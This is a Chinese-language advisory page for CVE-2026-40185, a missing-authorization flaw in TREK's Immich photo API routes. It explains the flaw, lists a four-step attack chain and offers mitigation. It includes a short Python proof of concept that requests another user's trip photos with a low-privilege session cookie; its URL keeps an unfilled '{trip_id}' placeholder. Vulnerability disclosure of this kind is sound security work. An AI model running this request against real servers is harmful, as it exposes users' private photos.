IPBUF安全漏洞报告
English
CVE-2026-40185 CVSS 7.1 高危

CVE-2026-40185: TREK Immich照片管理权限绕过漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-40185
漏洞类型
权限绕过
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
TREK

相关标签

权限绕过IDORTREKImmich访问控制缺失CVE-2026-40185

漏洞概述

TREK是一个协作旅行规划工具。在2.7.2版本之前,该应用在Immich旅行照片管理相关的API路由中缺少必要的权限验证机制。这允许经过身份验证的低权限用户绕过访问限制,未经授权地访问或管理本应受保护的旅行照片数据,导致敏感信息泄露及潜在的数据完整性风险。

技术细节

该漏洞的根源在于TREK应用程序在处理与Immich集成的旅行照片管理功能时,后端未对特定API路由实施充分的授权检查。攻击者只需要拥有一个低权限的普通账户(满足PR:L条件),即可通过网络向服务器发送恶意构造的HTTP请求。由于服务端未验证当前用户是否具有操作特定旅行照片资源的权限,攻击者可以直接调用管理接口。这违反了最小权限原则,使得攻击者能够读取高敏感性的照片信息(C:H)或对照片数据进行篡改(I:L),而无需用户交互。

攻击链分析

STEP 1
侦察与登录
攻击者发现目标运行TREK应用,并注册或获取一个低权限用户账号。
STEP 2
识别端点
通过前端代码或API文档分析,找到Immich旅行照片管理的相关API路由。
STEP 3
发送越权请求
利用低权限账号的会话凭证,直接向管理端点发送GET或POST请求,尝试访问非授权资源。
STEP 4
数据窃取与篡改
服务器因缺少授权检查返回敏感照片数据或接受修改请求,导致数据泄露或完整性受损。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ PoC for CVE-2026-40185: TREK Immich Photo Management Authorization Bypass Description: Exploits missing authorization checks to access/manipulate trip photos. """ import requests target_url = "http://localhost:3000/api/trips/{trip_id}/photos" attacker_cookie = "session=low_priv_user_session_token" # Attacker tries to access photos of a trip they do not own headers = { "Cookie": attacker_cookie, "User-Agent": "CVE-2026-40185-Scanner" } try: response = requests.get(target_url, headers=headers) if response.status_code == 200: print("[+] Vulnerability Confirmed: Unauthorized access to photo data successful!") print(f"[+] Data leaked: {response.text[:200]}...") else: print("[-] Target may not be vulnerable or patched.") except Exception as e: print(f"Error: {e}")

影响范围

TREK < 2.7.2

防御指南

临时缓解措施
如果无法立即升级,建议在网络边界(如WAF或反向代理)上拦截对受影响API路径的非管理员请求,或暂时禁用Immich集成功能以降低风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表